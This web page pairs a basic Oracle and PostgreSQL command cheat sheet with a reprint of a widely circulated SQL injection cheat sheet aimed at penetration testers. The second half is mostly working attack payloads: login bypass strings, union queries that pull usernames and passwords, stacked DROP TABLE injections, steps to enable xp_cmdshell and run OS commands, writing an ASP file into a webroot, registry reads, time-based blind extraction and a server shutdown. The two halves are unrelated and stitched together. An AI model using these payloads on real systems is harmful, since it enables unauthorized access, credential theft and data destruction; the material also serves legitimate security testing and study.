SQL Cheat Sheet – Oracle SQL & PostgrSQL

The database is nothing but a piece of software in which we store information. In a relational database, we store information in the form of tables, in which we have columns and rows. When you developing any web application then you need a database to store the user information. There are two types of databases, Relational Databases, and NoSQL Databases. Oracle database is one type of relational database.

Oracle SQL is the world’s most widely used database management system. It is used to store and retrieve information. Oracle database is designed for enterprise grid computing.

PostgreSQL is an open-source, powerful and advanced version of SQL that supports different functions of SQL including, foreign keys, subqueries, functions, and user-defined types.

In this quick reference cheat sheet, we will show Oracle SQL and PostgreSQL commands with examples.

Oracle SQL Cheat Sheet

A cheat sheet is a set of notes used for quick reference. In this Oracle Cheat Sheet, I will show you all basic to advanced Oracle SQL commands with examples.

Basic Commands

To create a database, run the following command:

CREATE DATABASE test
DATAFILE 'test_system' SIZE 10M
LOGFILE GROUP 1 ('test_log1a', 'test_log1b') SIZE 500K,
GROUP 2 ('test_log2a', 'test_log2b') SIZE 500K;

Where:

  • test is the name of the database you want to create.
  • test_system is the tablespace of the new database which is 10 MB.
  • test_log1a and test_log1b are the redo log groups and each contains 500 KB members.

If you want to delete the database named test.

First, connect to the database with the following command:

export ORACLE_SID=test
sqlplus "/ as sysdba"

Next, shut down the database with the following command:

SQL> shutdown immediate;

Next, start the database in exclusive mode:

SQL> startup mount exclusive restrict;

Finally, drop the database with the following command:

SQL> drop database;

To check the installed version of Oracle, run the command below:

SQL> SELECT * FROM V$VERSION;

To view the database name, run the following command:

SQL> SELECT * FROM GLOBAL_NAME;

To view NLS parameters, run the following command:

SQL> SELECT * FROM V$NLS_PARAMETERS;

To check the size of the database including, its Data files, Temporary files, Redo logs and Control files, run the following command:

SELECT ROUND(
SUM(Q1."Data Files" +
Q2."Temp Files" +
Q3."Redo Logs" +
Q4."Control Files"
)/1024/1024/1024,  2)
AS "Total Size (GB)"
FROM
(SELECT SUM(bytes) "Data Files" from DBA_DATA_FILES) Q1,
(SELECT SUM(bytes) "Temp Files" from DBA_TEMP_FILES) Q2,
(SELECT SUM(bytes) "Redo Logs" from V_$LOG) Q3,
(SELECT SUM(BLOCK_SIZE * FILE_SIZE_BLKS)"Control Files" FROM V$CONTROLFILE) Q4;

Create and Manage User

Create a new user named user1, run the following command:

SQL> CREATE USER user1 IDENTIFIED BY password;

To change the password of the user, run the following command:

SQL> ALTER USER user1 IDENTIFIED BY newpassword;

To list all users and profile, run the following command:

SQL> SELECT USERNAME, ACCOUNT_STATUS, PROFILE FROM DBA_USERS;

To list all roles, run the following command:

SQL> SELECT * FROM DBA_ROLES;

To create a user profile, run the following command:

SQL> CREATE PROFILE MY_PROFILE LIMIT;

To list all user profiles, run the following command:

SQL> SELECT * FROM DBA_PROFILES;

Set a password expiry to 30 days, run the following command:

SQL> ALTER PROFILE MY_NEW_PROFILE LIMIT PASSWORD_LIFE_TIME 30;

To set a password to never expire, run the following command:

SQL> ALTER PROFILE MY_PROFILE LIMIT PASSWORD_LIFE_TIME UNLIMITED;

To view all privileges granted to a user on other users table, run the following command:

SQL> SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE='USERNAME';

Create and Manage Table

To create a table named student, run the following command:

CREATE TABLE student
(
id integer not null,
name varchar2(20),
CONSTRAINT student_id_constraint UNIQUE (id)
);

To delete a table, run the following command:

DROP TABLE student;

To add an extra column name Jayesh to student table, run the following command:

ALTER TABLE student
ADD Jayesh varchar(255);

To delete a column name Jayesh in a table, run the following command:

ALTER TABLE student
DROP COLUMN Jayesh;

To modify the data type of a column in a table, run the following command:

ALTER TABLE student
MODIFY Jayesh varchar2(255);

To add a constraint on a table student, run the following command:

ALTER TABLE student ADD constraint;

To drop a constraint from a table student, run the following command:

ALTER TABLE student DROP constraint;

Rename a table from student to teacher, run the following command:

ALTER TABLE student RENAME TO teacher;

Rename a column column1 to column3. run the following command:

ALTER TABLE student RENAME column1 TO column3;

Remove all data in a table student, run the following command:

TRUNCATE TABLE student;

To query all rows and columns from a table student, run the following command:

SELECT * FROM student;

To query data in columns column1, column2 from a table student, run the following command:

SELECT column1, column2 FROM student;

To query data in columns column1, column2 from a table student and sort the result in ascending or descending order, run the following command:

SELECT column1, column2 FROM student
ORDER BY column1 ASC [DESC];

To query data in columns column1, column2 from multiple tables, run the following command:

SELECT column1, column2
FROM table1
INNER JOIN table2 ON condition;

Create and Manage Index and View

Index in oracle is used to retrieves records with greater efficiency. By default, Oracle creates B-tree indexes.

To create an index named student_idx on a table named student, run the following command:

CREATE INDEX student_idx
ON student (student_name);

To create an index with two fields, run the following command:

CREATE INDEX student_idx
ON student (student_name, age);

To rename an index from student_idx to teacher_idx, run the following command:

ALTER INDEX student_idx
RENAME TO teacher_idx;

To collect statistics on an index, run the following command;

ALTER INDEX student_idx
REBUILD COMPUTE STATISTICS;

To delete an index, run the following command:

DROP INDEX student_idx;

Create a view with column column1 and column2, run the following command:

CREATE VIEW v(column1,column12)
AS
SELECT column1, column2
FROM student;

Create a view with check option, run the following command:

CREATE VIEW v(column1,column12)
AS
SELECT column1, column2
FROM student;
WITH [CASCADED | LOCAL] CHECK OPTION;

Create a temporary view, run the following command:

CREATE TEMPORARY VIEW v
AS
SELECT column1, column2
FROM student;

To delete a view, run the following command;

DROP VIEW view-name;

Advanced Commands

To retrieve the current date as timestamp, run the following command:

CURRENT_TIMESTAMP

To retrieve the current date as date, run the following command:

SYSDATE

List all content in recycle bin, run the following command;

SELECT * FROM RECYCLEBIN;

Remove all contents from recycle bin, run the following command:

PURGE RECYCLEBIN;

List all tables in the current schema, run the following command:

SELECT * FROM user_tables;

Show current database sessions, run the following command:

SELECT * FROM v$session

Show current processes, run the following command:

SELECT * FROM v$process

Show current RAM usage, run the following command:

SELECT * FROM v$sga

Create a backup table from the student table, run the following command:

CREATE TABLE student_bak AS
SELECT * FROM student;

Restore a backup table into the original table, run the following command:

INSERT INTO student
SELECT * FROM student_bak;

Show timezone of the current database, run the following command:

SELECT DBTIMEZONE FROM DUAL;

PostgreSQL Cheat Sheet

In this section, we will show you basic and advanced PostgreSQL commands with examples.

Create and Manage Database

To create a new database, run the following command:

CREATE DATABASE dbname;

To delete a database, run the following command:

DROP DATABASE dbname;

To list all databases, run the following command:

\l

To connect to the database, run the following command:

\c dbname;

To rename a database, run the following command:

ALTER DATABASE dbname RENAME TO newdbname;

Create and Manage User and Roles

To create a new user, run the following command:

CREATE ROLE username WITH LOGIN PASSWORD 'password';

To assign a user to the database, run the following command:

CREATE DATABASE dbname WITH OWNER username;

To grant a user the ability to create a new database, run the following command:

ALTER USER username CREATEDB;

To list all users, run the following command:

\du

To create a role with an existing username, run the following command:

CREATE ROLE username;

Create and Manage Table

To create a new table, run the following command:

CREATE TABLE tablename(
pk SERIAL PRIMARY KEY,
c1 type(size) NOT NULL,
c2 type(size) NULL,
);

To delete a table, run the following command:

DROP TABLE tablename CASCADE;

To rename a table, run the following command:

ALTER TABLE tablename RENAME TO newtablename;

To add a new column to a table, run the following command:

ALTER TABLE tablename ADD COLUMN columnname TYPE;

To delete a column from a table, run the following command:

ALTER TABLE tablename DROP COLUMN columnname;

To rename a column, run the following command:

ALTER TABLE tablename RENAME columnname TO newcolumnname;

To list all tables in the database, run the following command:

\dt

To describe a table, run the following command:

\d

To querying all data from tables, run the following command:

SELECT * FROM tablename;

To query data from a specified column, run the following command:

SELECT column_list
FROM table;

Return the number of rows of a table, run the following command:

SELECT COUNT (*)
FROM tablename;

To sort rows in ascending or descending order, run the following command:

SELECT select_list
FROM table
ORDER BY column ASC [DESC], column2 ASC [DESC],...;

To delete all row of a table, run the following command:

DELETE FROM tablename;

To delete specific rows based on a condition, run the following command:

DELETE FROM tablename
WHERE condition;

Create and Manage View and Index

To create a view, run the following command:

CREATE OR REPLACE viewname AS
query;

To delete a view, run the following command:

DROP VIEW [ IF EXISTS ] viewname;

To rename a view, run the following command:

ALTER VIEW viewname RENAME TO newviewname;

To list all views, run the following command:

\dv

To create a recursive view, run the following command:

CREATE RECURSIVE VIEW viewname(column_list) AS
SELECT column_list;

To create a materialized view, run the following command:

CREATE MATERIALIZED VIEW viewname
AS
query
WITH [NO] DATA;

To drop a materialized view, run the following command:

DROP MATERIALIZED VIEW viewname;

To create a new index on the specified table, run the following command:

CREATE [UNIQUE] INDEX indexname
ON tablename (column,...);

To delete an index, run the following command:

DROP INDEX indexname;

Backup and Restore Database and Table

To back up a single database, run the following command:

pg_dump -d dbname -f dbname_backup.sql

To back up all databases, run the following command:

pg_dumpall -f alldb_backup.sql

To restore a single database, run the following command:

su - postgres
psql -d dbname -f dbname_backup.sql

To restore all databases, run the following command:

su - postgres
psql -f alldb_backup.sql

To backup a table from a database, run the following command:

pg_dump -d dbname -t tablename -f tablename_backup.sql

To restore a table from the backup, run the following command:

psql -d dbname -f tablename_backup.sql

Conclusion

In the above guide, you learned basic and advanced SQL and PostgreSQL commands with examples. I hope this will help you in your day-to-day database operations.

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO’s blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences. 

Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

M :MySQL
S :SQL Server
P :PostgreSQL
O :Oracle
+ :Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
    2. Inline Comments
    3. Stacking Queries
    4. If Statements
    5. Using Integers
    6. String Operations
    7. Strings without Quotes
    8. String Modification & Related
    9. Union Injections
    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query. 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • -- (SM) 
    DROP sampletable;-- 
  • (M) 
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M) 
    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version. 

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /* 
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10 
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S) 
    SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP; 
To clarify some issues; 
PHP — MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part(M) 
    SELECT IF(1=1,'true','false')

SQL Server If Statement

  • IF condition true-part ELSE false-part (S) 
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END;
     (O) 
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
    SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S) 
This will throw an divide by zero error if current logged user is not «sa» or «dbo».

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM) 
    You can  write hex like these; 

    SELECT CHAR(0x66) (S) 
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) 
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S) 
    SELECT login + '-' + password FROM members
  • || (*MO) 
    SELECT login || '-' || password FROM members

*About MySQL «||»; 
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, ...) (M) 
    Concatenate supplied strings. 
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) — Hex Representation of string 
    SELECT 0x457578 
    This will be selected as string in MySQL. 

    In MySQL easy way to generate hex representations of strings use this; 
    SELECT CONCAT('0x',HEX('c:\\boot.ini'))

  • Using CONCAT() in MySQL 
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) 
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) 
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O) 
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) 
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) 
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP) 
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

    SELECT ASCII('a')

  • CHAR() (SM) 
    Convert an integer of ASCII. 

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
This will combine results from both news table and members table and return all of them.

Another Example: 
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S) 
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one — check out SQL Server documentation

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M) 
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ….
  • Login as different user (SM*) 
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password’s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based — Find Columns Names

Finding Column Names with HAVING BY — Error Based (S)

In the same order,

  •  HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ' union select sum(columntofind) from users-- (S) 
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
     

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
    No Error — Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- 
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –- 
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –- 
    Error! – Third column is not an integer. … 

    Microsoft OLE DB Provider for SQL Server error '80040e07' 
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS) 
Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also, you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

  1. Create table foo( line varchar(8000) )
  2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
  3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function. 
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int 
exec sp_oacreate 'wscript.shell', @o out 
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' 
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' -- 

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages 
    master..sysmessages
  • Linked Servers 
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm 
    SQL Server 2000: masters..sysxlogins 
    SQL Server 2005 : sys.sql_logins 

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite 
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() 
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  — http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you’re really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1 
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST
    ... WHERE users NOT IN ('First User', 'Second User') 
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
  • Using Dirty Tricks 
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int 

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY ‘time’ (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also, you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

  • Are we ‘sa’ ? 
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot! 
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL 
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10); 
